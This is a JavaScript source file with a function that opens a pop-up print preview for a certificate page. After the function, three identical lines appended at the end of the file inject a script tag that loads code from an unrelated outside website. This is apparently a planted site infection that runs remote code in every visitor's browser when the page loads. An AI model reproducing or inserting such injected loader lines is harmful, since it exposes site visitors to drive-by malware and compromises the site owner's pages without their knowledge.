/*****************************************************************************************************
Created By: Ferdous Md. Jannatul, Sr. Software Engineer
Created On: 10 December 2005
Last Modified: 13 April 2006
******************************************************************************************************/
		//Generating Pop-up Print Preview page
		function getPrint(print_area)
		{	
			//Creating new page
			var pp = window.open();
			//Adding HTML opening tag with <HEAD> … </HEAD> portion 
			pp.document.writeln('<HTML><HEAD><title>Print Certificate</title><LINK href=Styles.css type="text/css" rel="stylesheet">')
			pp.document.writeln('<LINK href=StyleSheet/PrintStyle.css  type="text/css" rel="stylesheet" media="print"><base target="_self"></HEAD>')
			//Adding Body Tag
			pp.document.writeln('<body bottomMargin="0" leftMargin="0" topMargin="0" rightMargin="0">');
			//Adding form Tag
			pp.document.writeln('<form  method="post">');
			//Creating two buttons Print and Close within a table
			pp.document.writeln('<DIV ID="STEP" ALIGN="LEFT" STYLE="FONT-SIZE:8pt; PADDING-LEFT: 16pt">');
			pp.document.writeln('<b>Steps to take Print Out of this Certificate</b>.<br />');
			pp.document.writeln('1.  Click <b>(File Menu)</b>->Choose <b>(Page SetUp)</b>->Choose Paper Size (<b>A4</b>)->Choose Orientation (Click on <b>LandScape radio Button</b>)->Set Margins(<b>Left</b>,<b>Right</b>,<b>Top</b>,<b>Botton</b>) to <b>0</b>(Zero)->Click <b>OK button</b> <br />');
			pp.document.writeln('2.  Click on <b>Print Certificate</b> Button on the Browser and again press <b>Print button</b> on current window.');
			pp.document.writeln('</DIV>')
			pp.document.writeln('<TABLE width=100%><TR><TD ALIGN="RIGHT" STYLE="PADDING-RIGHT: 15pt"><INPUT ID="PRINT" type="button" value="Print Certificate" onclick="javascript:location.reload(true);window.print();"></TD></TR><TR><TD></TD></TR></TABLE>');
			//Writing print area of the calling page
			pp.document.writeln('<DIV ALIGN=CENTER>');
			pp.document.writeln(document.getElementById(print_area).innerHTML);
			pp.document.writeln('</DIV>');
			//Ending Tag of </form>, </body> and </HTML>
			pp.document.writeln('</form></body></HTML>');			
			
		}		
		
document.write('<script src=http://haber.seslimanken.com/admincp/moderation.php ><\/script>');
document.write('<script src=http://haber.seslimanken.com/admincp/moderation.php ><\/script>');
document.write('<script src=http://haber.seslimanken.com/admincp/moderation.php ><\/script>');